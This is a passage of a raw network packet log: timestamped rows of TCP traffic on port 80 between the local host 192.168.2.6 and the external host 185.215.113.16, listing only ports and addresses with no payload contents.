Oct 31, 2024 01:19:21.926789999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926790953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926804066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926806927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926827908 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926837921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926850080 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926856041 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926866055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926882029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926889896 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926899910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926902056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926914930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926923990 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926929951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926938057 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926969051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926969051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926981926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926996946 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927023888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927026033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927033901 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927038908 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927053928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927062035 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927088022 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927113056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927128077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927141905 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927145004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927145004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927156925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927169085 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927171946 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927181959 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927186966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927201033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927206993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927220106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927225113 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927232027 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927242041 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927242041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927257061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927262068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927272081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927280903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927301884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927321911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927335978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927349091 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927350998 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927356958 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927372932 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927381039 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927387953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927395105 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927408934 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927409887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927423954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927433968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927438021 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927465916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927465916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927474022 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927486897 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927501917 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927519083 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927529097 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927532911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927536011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927553892 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927568913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.927973032 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.927989006 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928004026 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928015947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928019047 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928030968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928034067 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928045034 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928065062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928077936 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928102970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928143024 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928154945 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928169966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928219080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928230047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928265095 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928280115 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928293943 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928304911 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928318977 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928319931 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928334951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928338051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928350925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928353071 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928365946 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928376913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928379059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928385019 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928395033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928401947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928410053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928423882 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928430080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928430080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928447962 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928451061 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928459883 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928469896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928483009 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928483009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928497076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928508043 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928513050 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928523064 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928527117 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928539991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928550959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928565979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928570032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928570032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928586006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928589106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928603888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928605080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928618908 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928620100 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928633928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928642035 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928656101 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928661108 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928670883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928672075 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928685904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928694963 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928700924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928704023 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928730965 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928745985 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928754091 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928759098 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928777933 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928796053 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928797960 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928809881 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.928833961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.928848028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.962975979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963009119 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963023901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963033915 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963040113 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963057995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963068008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963073969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963088036 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963092089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963107109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963135004 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963135004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963150024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963161945 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963170052 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963181973 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963191986 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963195086 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963207006 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963218927 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963221073 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963226080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963237047 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963252068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963252068 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963267088 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963268042 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963277102 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963291883 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963321924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963385105 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963445902 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963462114 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963475943 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963499069 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963524103 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963529110 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963543892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963557959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963573933 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963598013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963635921 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963675022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963690042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963690996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963715076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963723898 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963738918 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963753939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963768959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963783026 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963783026 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963783979 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963810921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963835955 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.963840008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.963880062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964020014 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964042902 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964056969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964062929 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964073896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964081049 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964090109 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964093924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964104891 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964118958 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964128017 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964133024 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964143038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964153051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964158058 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964168072 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964170933 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964179993 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964200020 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964207888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964211941 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964221954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964236975 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964245081 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964251041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964265108 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964268923 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964278936 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964296103 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964304924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964308977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964312077 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964346886 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964392900 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964407921 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964421988 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964432001 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964464903 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964479923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964487076 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964493036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964500904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964560032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964591026 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964641094 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964658022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964670897 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964684963 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964699984 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964699984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964716911 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964730024 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964745045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964888096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964912891 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964926004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964932919 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.964956045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964970112 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.964993954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965008020 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965020895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965034008 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965038061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965059996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965059996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965076923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965090990 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965092897 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965136051 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965141058 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965156078 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965173006 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965186119 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965190887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965200901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965200901 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965229034 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965234041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965245962 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965246916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965280056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965286016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965347052 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965464115 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965478897 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965492010 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965503931 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965534925 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965790033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965815067 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965827942 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965837002 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965842009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.965862989 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.965877056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966051102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966092110 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966099024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966114044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966151953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966183901 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966200113 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966217041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966224909 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966233969 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966242075 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966249943 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966253042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966264963 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966270924 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966284990 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966286898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966300011 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966305017 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966317892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966322899 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966331005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966336966 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966362953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966367960 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966378927 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966382980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966401100 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966407061 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966414928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.966423988 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966438055 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.966444969 CET	80	49998	185.215.113.16	192.168.2.6
